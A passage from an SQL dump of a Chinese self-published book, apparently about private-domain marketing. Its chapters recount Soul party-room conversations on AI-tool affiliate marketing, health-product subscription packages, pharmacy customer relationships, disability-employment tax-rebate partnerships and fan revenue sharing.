会通过我的链接去注册。\"\n\n---\n\n我问:\"那你一个月能推多少用户?\"\n\n他说:\"不多,可能就几十个。\"\n\n\"但关键是单价高。\"\n\n\"一个用户如果付费了,可能一年能给我带来一两百美元的佣金。\"\n\n\"几十个用户,一年就是几千美元,折合人民币好几万。\"\n\n---\n\n他停了一下。\n\n\"而且这个收入是被动的。\"\n\n\"我不需要每天去推广,我只需要维护好我的社群,定期分享一些内容就行了。\"\n\n\"那些老用户只要一直付费,我就一直有收入。\"\n\n---\n\n派对房里,有人问:\"那你推广的都是哪些工具?\"\n\n他说:\"我推广的主要是一些垂直领域的工具。\"\n\n\"比如有一个叫Creatify的,是做AI广告视频的。你输入一个产品链接,它就能自动生成一个广告视频。\"\n\n\"还有一个叫InVideo的,是做长视频转短视频的。你把一个长视频传上去,它能自动剪成几十个短视频。\"\n\n\"还有一些做AI写作的、AI建站的、AI客服的。\"\n\n---\n\n他继续说。\n\n\"这些工具在国内知道的人不多,但在国外已经很火了。\"\n\n\"它们的联盟计划佣金都很高,因为它们需要有人帮它们推广。\"\n\n\"而且这些工具的用户粘性很强,一旦用上了,很难换。\"\n\n\"所以终身分成的模式对我们来说非常有利。\"\n\n---\n\n我问:\"那你怎么找到这些联盟计划的?\"\n\n他说:\"很简单,你去这些工具的官网,一般都有一个\'Affiliate\'或者\'Partner\'的入口。\"\n\n\"点进去注册就行了。\"\n\n\"有些工具是自动审核的,注册就能用。\"\n\n\"有些工具需要人工审核,你要填一些资料,比如你的推广渠道、预计推广量等等。\"\n\n---\n\n他停了一下。\n\n\"但最关键的是,你要有推广渠道。\"\n\n\"如果你没有流量,没有用户,那你注册了也没用。\"\n\n\"所以我一直在经营我的社群,这是我的核心资产。\"\n\n---\n\n派对房里,有人问:\"那这个模式能复制吗?\"\n\n他说:\"能,但有门槛。\"\n\n\"第一,你要懂AI,至少要知道这些工具是干什么的,怎么用。\"\n\n\"第二,你要有流量,有自己的社群或者自媒体账号。\"\n\n\"第三,你要有耐心,因为这个模式不是一夜暴富,是慢慢积累。\"\n\n---\n\n我在派对房里总结了一下。\n\n\"刚才这位老板的模式,给了我们一个很重要的启示。\"\n\n\"什么叫信息差?信息差不是说你知道别人不知道的东西。\"\n\n\"而是说你能把别人不知道的东西,用别人能理解的方式传递出去。\"\n\n---\n\n我继续说。\n\n\"他做的事情是什么?就是把国外的AI工具信息,传递给国内的用户。\"\n\n\"这些工具在国外很火,但在国内知道的人不多。\"\n\n\"他是那个桥梁,并且有点专业的”翻译“,才能做好这个桥梁。\"\n\n---\n\n我停了一下。\n\n\"但这个模式的核心不是信息差,而是信任。\"\n\n\"为什么群友愿意通过他的链接去注册?因为他们信任他。\"\n\n\"他不是硬推,他是真的在分享有价值的内容。\"\n\n\"这种信任,是用时间和内容积累出来的。\"\n\n---\n\n有个做AI的朋友后来问我:\"你们有没有这方面的资源可以对接?\"\n\n我说:\"有,但你得先想清楚一件事。\"\n\n\"你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。做长期,就要先把信任建起来。\"\n\n\"如果你想了解更多,可以加到群里,我们有专门做AI工具对接的人。\"\n\n---\n\n这本书的真实目的,不是教你去做AI工具推广。\n\n而是告诉你,在这个时代,信息差依然存在。\n\n但信息差的变现,需要两个前提。\n\n第一,你要有传递信息的能力;\n\n第二,你要有让别人信任你的资本。\n\n有了这两个前提,你就能在任何一个信息差的缝隙里找到机会。\n', 2241, 0, 1.00, 45, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.968', 8, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (54, '9.14', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '大健康私域:一个月150万的70后', '\"我是70后,没什么文化,靠自己打拼。去年4月份,一个月纯利润150万。\"\n\n2025年12月8日,周一,早上6点48分。\n\n那天的派对房有点特别,一个沉稳的女声打破了沉默。\n\n声音里带着岁月的沧桑,但底气很足。\n\n她说:\"我想分享一下我的故事。\"\n\n我说:\"请说。\"\n\n她说:\"我做大健康31年了。从食品行业开始,后来升级到大健康产业。\"\n\n\"我是做益生元的,就是益生菌的原料。我给那些大品牌供货,上市公司的产品有时候都是我操作的。\"\n\n派对房里,有人问:\"那你最赚钱的时候是怎么做到的?\"\n\n她说:\"去年4月份,我一个月纯利润150万。2013年有一天,我一天就赚了58万纯利润。\"\n\n派对房里,瞬间安静了。\n\n她继续说。\n\n\"其实赚钱的逻辑很简单。你要有好的品,要有好的渠道。我的品是没问题的,我做了31年,质量过硬。\"\n\n\"有一次,一个上市公司找我,说他们要100吨益生元。他说他不相信市场上还有这么多库存。\"\n\n\"我说你打定金,我带你去仓库看。他们副总飞过来,看完之后,踏实了,全要了。\"\n\n派对房里,有人问:\"那你现在为什么还在找方向?\"\n\n她叹了口气。\n\n\"现在电商太卷了。我年龄大了,70后了,不想再来回奔波。想找一些线上的渠道,稳定一点的。\"\n\n我说:\"你的核心问题是什么?\"\n\n她说:\"我有好的品,但没有好的渠道。以前都是给大品牌供货,现在我想做自己的品牌。商标再有十天就下来了。但我不知道怎么做线上。\"\n\n我想了一下,说:\"其实大健康这个赛道,市场上不差渠道,差的是好的品。\"\n\n\"私域直播的渠道,卖得比较好的有1万多家,总共加起来有10万多家。你有竞争力的品,渠道会抢着要。\"\n\n派对房里,有人问:\"那怎么找到这些渠道?\"\n\n我说:\"我给你讲一个案例。我有一个朋友,做儿童肠胃调理的。\"\n\n\"他的产品铺到了全国3万个门店,母婴店各种渠道都有。但他跟我说,他不赚钱。为什么?场地、人工成本太高,抖音投流\n\n投不正,各种成本都太高。\"\n\n我继续说。\n\n\"后来我们合作,只做一个单品。整个链路做清晰:妈妈、小孩、私域。\"\n\n\"一转:卖产品;\n\n二转:卖2980的套餐,给一个群,配一个营养师顾问;\n\n三转:做线下,跟小儿多动症等垂直类医院合作。客单价一下子就上去了。\"\n\n那个70后说:\"我明白了,要做垂直。\"\n\n我说:\"对。大健康要做得很垂直。不要什么都做,什么都做就什么都做不好。找一个细分品类,打穿它。\"\n\n派对房里,有人问:\"那具体怎么打?\"\n\n我说:\"我再给你讲一个案例。有一个团队,做海外大健康,在泰国、台湾、日本做。\"\n\n\"他们铺矩阵,在小红书和抖音上发内容。内容很简单:我的小孩吃第一天是什么样,第二天是什么样。\"\n\n\"就拍这个。然后号召买过产品的粉丝也来拍,给粉丝分润。整个体系做起来,效果非常好。\"\n\n那个70后说:\"我之前都是给别人供货,没做过自己的品牌。\"\n\n我说:\"做品牌和做供应链是两回事。做供应链,你只管品质;做品牌,你要管内容、管流量、管用户运营。\"\n\n\"如果你自己不擅长,就找擅长的人合作————你出品,他出运营,大家分成。\"\n\n早上7点35分,那个70后说:\"我今天学到了很多。\"\n\n我说:\"你的优势是品。31年的积累,品质过硬,这是最核心的资产。现在差的就是找到对的合作伙伴。\"\n\n\"多来派对房聊聊,也许就能碰到合适的人。\"\n\n她说:\"好,我会常来的。\"\n\n那天之后,她真的常来。有时候上麦聊,有时候就静静地听。\n\n我不知道她后来有没有找到合适的渠道。但我知道,一个70后,做了31年大健康,还愿意来Soul派对房学习新东西。这种\n\n心态,比绝大部分年轻人都强。\n\n有个做大健康的朋友后来问我:\"你们能不能帮我对接一些供应链资源?\"\n\n我说:\"能,但你得先想清楚一件事。你是想找便宜的货,还是想找靠谱的货?\"\n\n他说:\"靠谱的。\"\n\n我说:\"那就对了。大健康这个行业,便宜没好货。如果你想了解更多,可以加到群里,我们有专门做供应链对接的人。\"\n\n年龄从来不是问题,停止学习和交流才是。\n\n这个70后的故事告诉我们:\n\n有好的品,是基础;\n\n有好的渠道,是放大器;\n\n有好的心态,是护城河。\n\n三者都有,才能走得远。', 4701, 1, 0.00, 46, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.979', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (55, '9.2', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '健康包模式:高复购、高毛利', '# 9.2 健康包模式:高复购、高毛利\n\n舒服与规律才是家里的真实KPI。\n\n2025年10月25日,周六,早上6点15分。\n\n那天派对房里来了一位年轻妈妈,语气里带着焦虑和疲惫。\n\n她说:\"我孩子胃口差,老不舒服,我看你说过\'健康包\',那是什么?\"\n\n我问:\"你现在每个月,愿意为了孩子的\'舒服和规律\',花多少钱?\"\n\n她说:\"看效果。\"\n\n这是最真实的回答。\n\n---\n\n在真实聊天里,我多次讲过我们跑过的\"儿童肠胃调理\"的健康包。\n\n不是卖药。\n\n是把\"生活—饮食—作息—补充—随访\"做成一个\"能复购的服务包\"。\n\n你买的不是一次性的瓶子,你买的是\"看得见的舒服与规律\"。\n\n这个模式的核心,是把产品变成服务,把服务变成关系。\n\n---\n\n第二天线下,我们在社区健康站见面。\n\n我把健康包拆成五段。\n\n**生活段**:晚餐时间与分量的调整、睡前不吃、早起喝温水。\n\n**饮食段**:低油低辣、少生冷、加温热水果与易消化主食。\n\n**作息段**:固定睡眠窗口、午休20分钟、晚间拉伸与泡脚。\n\n**补充段**:在医生建议下补充肠道友好品类,不做\"玄学堆料\"。\n\n**随访段**:每周一次反馈与调整,飞书卡片记录\"舒服指数\"与\"规律指数\"。\n\n五段不是说教,是\"能当下用的动作\"。\n\n她听完说:\"这比我想象的系统多了。\"\n\n我说:\"系统才能复制,复制才能规模化。\"\n\n---\n\n派对房里,我没有直接问\"每月营收多少\"。\n\n我问的是\"你们家,每个月在\'舒服\'上愿意付多少?\"\n\n她说一个数。\n\n我把这个数放进健康包的\"月度方案\"。\n\n方案里只有两件事:当下可用清单与随访节奏。\n\n简单到不能再简单,但有效到不能再有效。\n\n---\n\n我们把健康包的目标人群也写出来。\n\n孩子胃口差、腹胀、夜里不舒服、早起没精神。\n\n不是病人标签,是\"当下的感受\"。\n\n你越能打中当下,越能形成复购。\n\n这是我们在做私域咨询时反复强调的一点:**不要卖产品,要卖解决方案。**\n\n---\n\n第二周,我们在社区做了一次\"线下讲解与登记\"。\n\n我不讲概念。\n\n我只发清单。\n\n晚餐量表、睡前禁止清单、早起动作三步、温热水果清单、每周随访问卷。\n\n家长拿走的是\"现在就能做的动作\"。\n\n他们愿意付钱的是\"你帮我坚持且复盘\"。\n\n这就是服务的价值——不是你知道什么,是你能帮别人做到什么。\n\n---\n\n派对房里有人问:\"你们的生意逻辑是什么?\"\n\n我说:\"复购。\"\n\n\"不是单次爆发。\"\n\n\"是把\'当下的舒服\'做成\'可持续的规律\'。\"\n\n\"用清单与随访,把\'一次性\'变成\'长期关系\'。\"\n\n这套逻辑,我们帮很多做健康、美业、教育的朋友梳理过。\n\n每个行业的产品不同,但底层逻辑是一样的。\n\n---\n\n我们把健康包的核心写成四件事。\n\n第一,当下可用清单。\n\n第二,每周随访与调整。\n\n第三,医生建议下的合规补充。\n\n第四,家长端的可视化看板。\n\n家长在飞书里能看到\"舒服指数与规律指数\"的曲线,能看到自己\"坚持的天数与计划完成度\"。\n\n这就是核心。\n\n不是\"你听我说\"。\n\n是\"你看见自己做到了\"。\n\n---\n\n第三周,我们做了一个\"轻社群\"。\n\n只发两种东西。\n\n一种是\"当天动作提醒\"。\n\n一种是\"本周随访链接\"。\n\n不聊天。\n\n不灌水。\n\n只做\"你需要我\"且\"我帮你坚持\"。\n\n复购从这里发生。\n\n---\n\n两个月后,我们做了一次复盘。\n\n我们问家长两句话。\n\n\"你觉得孩子的当下舒服,有没有提升?\"\n\n\"你觉得你们家的规律,有没有更稳?\"\n\n能回答\"有\"的家长,复购率很高。\n\n因为健康包的价值不是\"产品\"。\n\n是\"你们家做到了\"。\n\n---\n\n派对房里有人问:\"你们每个月营收多少?\"\n\n我笑了。\n\n我问他:\"你们家每个月愿意为\'舒服与规律\'付多少?\"\n\n他给了一个数。\n\n我说:\"我们求的是\'长期稳定\'。\"\n\n\"不是\'这一个月的漂亮表\'。\"\n\n账面不会在房里晒。\n\n但\"复购曲线\"在看板里。\n\n如果你想看我们是怎么做的,可以来派对房聊。\n\n我们会根据你的情况,给你一些具体的建议。\n\n---\n\n**健康包路径清单:**\n\n1. 目标人群:围绕当下感受,用\"舒服/规律\"做索引。\n\n2. 生意逻辑:把当下可用清单+每周随访,做成长期关系与复购。\n\n3. 核心:清单/随访/合规补充/家长看板,让\"做到了\"可视化。\n\n4. 社群:轻社群,只发动作提醒和随访链接,不灌水。\n\n5. 复盘:问两句当下感受与规律,用曲线看\"复购的来源\"。\n\n这套模式不只适用于健康,任何需要复购的行业都可以参考。\n', 1680, 0, 1.00, 47, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:49.991', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (56, '9.3', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '药物私域:长期关系赛道', '# 9.3 药物私域:长期关系赛道\n\n\"买药不是一次性交易,是一段长期关系的开始。\"\n\n2025年10月27日,周一,早上7点整。\n\n那天的派对房气氛有点不一样。\n\n一个患者家属上了麦,声音里带着疲惫,但又透着一股认真劲儿。\n\n他说:\"我们家长期要用药,怎么把这个关系做稳?\"\n\n我没有问他每个月花多少钱。\n\n我问的是:\"你们家每个月在\'稳定与安心\'上,愿意付多少?\"\n\n他愣了一下,然后说:\"希望别出错。\"\n\n---\n\n这个回答让我想了很多。\n\n什么叫\"别出错\"?\n\n不是药效好不好的问题。\n\n是信任够不够的问题。\n\n---\n\n药物私域这个赛道,我在派对房里聊过很多次。\n\n每次聊完,都会有人私信我问:这个怎么做?\n\n其实答案很简单。\n\n你卖的不是药。\n\n你卖的是\"不会出错的长期关系\"。\n\n---\n\n什么叫长期关系?\n\n不是你卖一次药,然后等他下次来。\n\n是你从头到尾陪着他。\n\n依从性管理、用药随访、生活建议、风险托底、合规交付。\n\n这五个环节,缺一个都不行。\n\n---\n\n那天聊完之后,我们线下做了一个实验。\n\n在一个药房里,搭了一套飞书看板。\n\n每个患者一张卡片,上面写五项:\n\n处方与药史、用药计划与提醒、随访与不良反应记录、生活建议与作息、风险与托底方案。\n\n每个交付环节也有卡片:\n\n配药与复核、发药与确认、随访问卷与回访、异常上报与处理时限。\n\n每个节点都有责任人,都有时间。\n\n每一瓶药都有\"交付日志\"。\n\n---\n\n派对房里有人问:\"药物私域的目标人群是谁?\"\n\n我说:\"不是病名。\"\n\n\"是长期用药的人群。\"\n\n他们需要的是安心与稳定。\n\n我们提供的是不会出错的流程与及时的随访。\n\n---\n\n有个做医药代表的朋友后来跟我说:\n\n\"你这套东西,比我们公司的培训还实用。\"\n\n我说:\"因为我们不是在卖药,我们是在做关系。\"\n\n关系做好了,复购自然就来了。\n\n---\n\n药物私域的生意逻辑只有一句话:\n\n\"把\'不会出错\'做成\'可复购\'。\"\n\n用依从性管理与随访,把长期关系稳住。\n\n用生活建议与作息,把依从性提高。\n\n用风险托底,把信任做实。\n\n---\n\n药物私域的核心是什么?\n\n两个字:合规。\n\n再加两个字:托底。\n\n合规是处方与药史的严格管理。\n\n托底是异常的快速响应与替代方案。\n\n我们拒绝\"聪明的边缘\"。\n\n我们只做\"不会出错的交付\"。\n\n---\n\n那天快结束的时候,有人问怎么学这套东西。\n\n我说:\"如果你们家长期用药,或者你在做这个行业,可以先拿一份依从清单看看。\"\n\n\"加到群里,每个月有随访链接,有问题可以找管理。\"\n\n他们知道怎么找到我们。\n\n但我们不\"强拉\"。\n\n我们\"给路\"。\n\n---\n\n一个月后,我们做了一次复盘。\n\n只问两句话:\n\n\"你们家这个月用药有没有出错?\"\n\n\"你们家这个月有没有更安心?\"\n\n能回答\"没有出错且更安心\"的,复购自然发生。\n\n---\n\n后来有个做连锁药房的老板找到我。\n\n他说:\"你这套东西能不能帮我们做?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想卖更多的药,还是想让患者更信任你?\"\n\n他想了想,说:\"后者。\"\n\n我说:\"那就对了。信任到了,药自然卖得出去。\"\n\n---\n\n做私域这么多年,我越来越觉得一件事:\n\n最好的生意,不是一锤子买卖。\n\n是你能陪着客户走很长的路。\n\n药物私域是这样。\n\n其他行业也是这样。\n\n你能陪多久,决定了你能赚多久。\n\n---\n\n那天派对房里,有个年轻人说了一句话,让我印象很深:\n\n\"原来卖药也能做成服务。\"\n\n我说:\"任何生意都能做成服务。\"\n\n\"关键是你愿不愿意把\'一次性\'变成\'长期\'。\"\n\n愿意的人,路会越走越宽。\n\n不愿意的人,只能一直找新客户。\n\n而找新客户,永远是最累的事。\n', 1365, 0, 1.00, 48, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.002', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (57, '9.4', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '残疾机构合作:退税 × AI × 人力成本', '# 9.4 残疾机构合作:退税 × AI × 人力成本\n\n\"政策不是口号,是能算出来的钱。\"\n\n2025年10月31日,周五,早上7点20分。\n\n派对房里来了个做机构的,声音很专业,一听就是老江湖。\n\n他开门见山:\"我们有残疾人用工指标,你们的系统能不能接?\"\n\n我没有直接回答。\n\n我问他:\"你们每个月希望在\'合规与托底\'上花多少?\"\n\n他笑了,说:\"你这问法有意思。\"\n\n---\n\n这个话题在派对房里聊过很多次。\n\n每次聊,都会有人问:这个到底怎么做?\n\n其实核心逻辑很简单。\n\n残疾人用工有政策补贴,企业能退税。\n\n但大部分企业不会操作,或者操作得不规范。\n\n我们做的事情,就是把这个链条打通。\n\n---\n\n让我把这个模式拆清楚。\n\n第一,机构侧。\n\n机构手上有残疾人资源,有用工指标。\n\n但机构的问题是:岗位不够,培训不够,管理不够。\n\n第二,企业侧。\n\n企业需要用工,需要退税,需要合规。\n\n但企业的问题是:不知道怎么对接机构,不知道怎么管理这些员工。\n\n第三,中台侧。\n\n我们做的就是中台。\n\n把机构和企业对接起来,用系统把流程跑通。\n\n---\n\n那天聊完之后,我们线下做了一个实验。\n\n在会议室里,把合作拆成三张卡片:\n\n机构卡片:用工人数和工时、岗位和培训、政策额度和到账时间、风险和托底。\n\n企业卡片:退税怎么走、资料要哪些、节点和责任人、到账怎么分、合规和风控。\n\n中台卡片:AI代聊派发轻动作,回填到工单,质检按表来。\n\n这样一拆,合作怎么跑,一眼能看清。\n\n---\n\n线下怎么落地?\n\n我们按\"人、事、时间、账\"四件事来排。\n\n人:先确定岗位和人数。常规四岗——接单、质检、资料、随访。一个人可以兼两岗,但质检不能兼。机构管人到岗与工时,企业管岗位要求和培训,中台负责把人和事对应起来。\n\n事:把每天要做的事写成\"今天三件\"。上午处理上一天的工单回填,下午做资料归档与异常回访,晚上做下一天的排班和提醒。白板上直接写,当天办完划掉。\n\n时间:所有节点都有时间,不拖。响应2小时内、处理24小时内、跟进72小时内。有人接替、有人兜底,不能出现\"没人做\"的空档。\n\n账:只认到账,不认口头。退税到账怎么分、工资怎么结、服务费怎么开、资料怎么留,都写在表里。每周看一次\"到账曲线\"。\n\n---\n\n给你们讲一个真实案例。\n\n有一家机构手上有40人,两家企业要落岗位。\n\n我们的做法很简单:\n\n机构侧:按岗位能力分成两队,第一队做接单与资料,第二队做质检与随访。每天两次点名,缺岗就替补。\n\n企业侧:把岗位说明写成人话,培训只讲\"怎么做\"与\"做完怎么验\"。\n\n中台侧:新工单先走质检,再发执行。异常直接升级,别来回甩锅。\n\n三周后,两家企业的\"节点按时率\"到88%,机构的\"出勤稳定率\"到93%。\n\n最大的坑是什么?\n\n是\"资料和质检混在一起\"。\n\n一分开就稳。\n\n---\n\n还有一个案例。\n\n有一单因为\"岗位说明不清楚\"返工了三次。\n\n我们把说明改成三句:\n\n要做什么:一句话说明工作结果。\n\n怎么做:三步就够,写成123。\n\n做完怎么验:谁看、看什么、在什么时间看。\n\n改完后,\"返工率\"从12%降到3%,\"处理时长\"缩到24小时内。\n\n大家都轻松,因为找东西不再靠猜。\n\n---\n\n派对房里有人问:\"这个模式的目标人群是谁?\"\n\n我说:\"有政策窗口且愿意做合规的企业与机构。\"\n\n不是\"想钻空子的人\"。\n\n是\"愿意把合规与托底一起做进去的人\"。\n\n---\n\n我们的生意逻辑只有一句话:\n\n\"让\'政策与合规\'变成\'服务与复购\'。\"\n\n企业付的是\"更稳的总成本\"。\n\n机构得的是\"更稳的就业与培训\"。\n\n我们的系统做的是\"更稳的节点与交付\"。\n\n---\n\n核心是什么?\n\n节点与托底。\n\n节点是工单的时间与责任人。\n\n托底是异常的快速响应与替代方案。\n\nAI代聊只做轻动作。\n\n重交付由专业的人做。\n\n中台把\"确定性\"拉起来。\n\n---\n\n有个做企业服务的朋友后来问我:\"你们这套系统能不能帮我们用?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想省成本,还是想做得更稳?\"\n\n他说:\"都想。\"\n\n我说:\"那就对了。省成本和做得稳,其实是一件事。流程稳了,成本自然就省了。\"\n\n---\n\n两个月后,我们复盘了一次。\n\n企业的总成本更低了。\n\n机构的就业更稳了。\n\n中台的节点按时率到92%。\n\n没有晒\"每月营收\"。\n\n但我们看\"承诺的兑现率\"。\n\n这是最重要的指标。\n\n---\n\n那天派对房快结束的时候,有人问怎么合作。\n\n我说:\"如果你们机构与企业要一起跑,可以先拿一份合作清单看看。\"\n\n\"加到群里,每周有工单看板链接,有问题可以找管理。\"\n\n---\n\n做这个模式这么久,我最大的感受是什么?\n\n政策是死的,人是活的。\n\n同样的政策,有人做成了生意,有人做成了麻烦。\n\n区别在哪里?\n\n在于你有没有把\"合规\"当成底线。\n\n在于你有没有把\"托底\"当成服务。\n\n在于你有没有把\"确定性\"当成产品。\n\n有了这三个,政策就不是负担,而是机会。\n', 1864, 0, 1.00, 49, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.013', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (58, '9.5', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', '私域银行:粉丝即小股东', '# 9.5 私域银行:粉丝即小股东\n\n\"分红不是情绪,是动作和规则的可复盘。\"\n\n2025年11月5日,周三,早上7点40分。\n\n那天聊到了私域变现,一个老粉丝突然上麦提问。\n\n他说:\"你说\'粉丝即小股东\',到底怎么运作?\"\n\n我没有问他每个月营收多少。\n\n我问的是:\"你愿意为了\'参与与分润\',每个月做多少\'可执行的动作\'?\"\n\n他愣了。\n\n---\n\n这个问题很重要。\n\n因为大部分人想的是\"我怎么分钱\"。\n\n但真正能分到钱的人,想的是\"我怎么做事\"。\n\n---\n\n私域银行这个概念,是我们在派对房里反复聊出来的。\n\n核心逻辑很简单:\n\n你不是来当观众的,你是来当参与者的。\n\n你参与得越深,分润就越多。\n\n---\n\n让我把这个模式拆清楚。\n\n我们把参与分成\"三类四档\"。\n\n三类任务:\n\n第一类,内容传播。转发、二次编辑、剪小节。\n\n第二类,线索推荐。介绍人、预约、到场、登记。\n\n第三类,社群管理。提醒、组织、抽检、回访。\n\n四档参与:\n\n轻参与:每周1次。\n\n常参与:每周3次。\n\n重参与:每天1次。\n\n核心参与:带队+复盘。\n\n每档对应的分润比例不一样,但都要\"动作可验、结果可见\"。\n\n---\n\n分润怎么结?\n\n只认\"到账\"。\n\n一次性分润:当月线索或成交到账后结算,看板公开记录。\n\n长期分润:复购与留存的贡献,按月核算,到账后结。\n\n反作弊:多号、刷量、虚假到场,一律归零。资料与回访不一致,抽检不过线,当月不结。\n\n---\n\n纠纷怎么处理?\n\n三步就够:\n\n第一步,证据先。看看板、看资料、看抽检记录。\n\n第二步,规则再。按任务卡与分润规则执行。\n\n第三步,公示后。当月结算表公示,复盘改规则。\n\n纠纷不拖,有证据就结,没证据就补。\n\n---\n\n给你们讲一个真实案例。\n\n有一位粉丝做\"线索推荐\"一个月,问题是\"到场率低\"。\n\n我们把任务卡改成三句:\n\n推荐要说什么:一句话说明\"解决哪件当下事\"。\n\n推荐的动作:发链接+约时间+登记信息。\n\n到场的验证:谁看、怎么记、什么时候记。\n\n改完后,\"到场率\"从22%升到41%。\n\n原因很简单:推荐不再是\"喊口号\",而是\"给路+约时间\"。\n\n---\n\n还有一个案例。\n\n社群管理\"提醒太多没人看\"。\n\n我们把提醒改成\"今天三件\":今天要做的三件事,一句话说明+链接。晚上21:00统一复盘。\n\n下周提醒次数从9次降到4次,参与率反而上升到32%。\n\n少而准,比多而乱更有用。\n\n---\n\n任务卡怎么写?\n\n只保留四项:\n\n动作:要做的事,一句话。\n\n质检:怎么验,三步。\n\n时间:什么时候做,几点。\n\n责任:谁负责,谁复核。\n\n写完当天就能用,看板里当天就能看到。\n\n---\n\n派对房里有人问:\"这个模式的目标人群是谁?\"\n\n我说:\"愿意做\'可执行动作\'且愿意\'用看板复盘\'的粉丝。\"\n\n不是\"只想分红的人\"。\n\n是\"愿意做事且愿意让数据说话的人\"。\n\n---\n\n我们的生意逻辑很简单:\n\n\"把\'参与\'变成\'可分润的动作\'。\"\n\n每张任务卡都写清动作、质检点和分润怎么结。\n\n执行过的,都要进看板。\n\n每月看一次贡献的曲线。\n\n---\n\n核心是什么?\n\n两个字:规则。\n\n再加两个字:兑现。\n\n规则是任务卡与分润的明确。\n\n兑现是每月的到账与看板的公开。\n\n我们不做\"口头与模糊\"。\n\n我们只做\"写清楚与可复盘\"。\n\n---\n\n有个做社群的朋友后来问我:\"你们这套东西能不能教我?\"\n\n我说:\"能,但你得先想清楚一件事。\"\n\n\"你是想让粉丝帮你干活,还是想让粉丝跟你一起赚钱?\"\n\n他说:\"后者。\"\n\n我说:\"那就对了。一起赚钱的前提是,规则清楚,兑现到位。做到这两点,粉丝自然愿意跟你干。\"\n\n---\n\n两个月后,我们复盘了一次。\n\n参与的人更稳了。\n\n分润的纠纷更少了。\n\n因为\"动作与规则\"都写清楚了。\n\n我们不晒\"营收\"。\n\n我们看\"参与曲线与复购曲线\"。\n\n---\n\n那天派对房快结束的时候,有人问怎么加入。\n\n我说:\"如果你愿意参与,可以先拿一份任务卡清单看看。\"\n\n\"加到群里,每月有分润看板链接,有问题可以找管理。\"\n\n---\n\n做私域银行这么久,我最大的感受是什么?\n\n粉丝不是韭菜,是伙伴。\n\n你把他们当韭菜,会反噬,他们迟早会离开。\n\n你把他们当伙伴,会反哺,他们会和你走得更远。\n\n而伙伴关系的基础是什么?\n\n是规则清楚,是利益共享,是每一次承诺都能兑现。\n\n做到这三点,私域就不是流量池,而是合伙人池。\n', 1626, 0, 1.00, 50, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.025', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (59, '9.6', 'part-4', '第四篇|真实的赚钱', 'chapter-9', '第9章|我在Soul上亲访的赚钱案例', 'Soul派对房:陌生人成交的最快场景', '# 9.6 Soul派对房:陌生人成交的最快场景\n\n最快的不是打折,是给路并兑现。\n\n2025年11月8日,周六,早上8点整。\n\n周末的派对房人来得晚一些,但问题都很直接。\n\n一个陌生人上麦,开门见山。\n\n他说:\"我就是想解决一个问题,能不能现在就给我路?\"\n\n我问:\"你现在每个月,愿意为\'当下解决\'付多少?\"\n\n他给了一个范围。\n\n我说:\"好,那我们先聊清楚你的问题是什么。\"\n\n---\n\n在真实聊天里,我们把派对房定义为\"最快的成交场景\"。\n\n不是靠\"情绪刺激\"。\n\n是靠\"问题分轨—动作清单—线下提示—中台承诺\"。\n\n你把\"当下的路\"给出来,陌生人就愿意成交。\n\n这是我们在60多场派对房里验证出来的规律。\n\n---\n\n**线下怎么说人话?我们把\"提示\"改成三句:**\n\n- 你现在要解决哪一件当下事?\n- 今天先做哪一步?几点?\n- 做完怎么验?谁看、什么时候看。\n\n三句说完,当场给清单与时间,不要留模糊。\n\n很多人来派对房,不是想听故事,是想拿路。\n\n你给他路,他就跟你走。\n\n---\n\n**两周成交日志(节选):**\n\n- 第1天:分轨到\"现金流\",发\"今天三件\"清单(查账/列支/约见)。到群后,当晚跟管理确定约见时间。\n- 第3天:线下约见,只聊\"当下三件\",看板回填节点。\n- 第7天:第一次兑现复盘,异常升级两条:资料缺项与延时处理,第二周补齐。\n- 第14天:承诺兑现率稳定到82%,线下约见率到35%。\n\n日志不求好看,只求\"做到了没\"。\n\n---\n\n**提示话术抽检(每周50条):**\n\n- 是否问到了\"当下事\"? \n- 是否给出了\"今天时间\"? \n- 是否说明了\"怎么验\"? \n\n不过线的话术,统一改成三句格式,下周再抽检。\n\n这套抽检机制,是我们内部团队在用的。\n\n如果你也想建立类似的机制,可以来派对房聊聊。\n\n---\n\n**异常怎么升?只走一条线:**\n\n识别→人工接管→中台回写改法。\n\n谁接、何时接、接完怎么验,都写在工单里。\n\n不走空话,只走流程。\n\n---\n\n**三种人怎么配?**\n\n- 要路的人:当下清单给到手,线下约时间;\n- 要陪伴的人:把随访节奏写清楚,别聊太多空话;\n- 要结构的人:看板和曲线给出来,一起复盘。\n\n每个人都能拿到自己要的东西,成交才快。\n\n这是我们做私域咨询时总结出来的分类方法。\n\n不同的人,用不同的方式服务。\n\n---\n\n**看板怎么做?两块就够:**\n\n- 承诺兑现率曲线;\n- 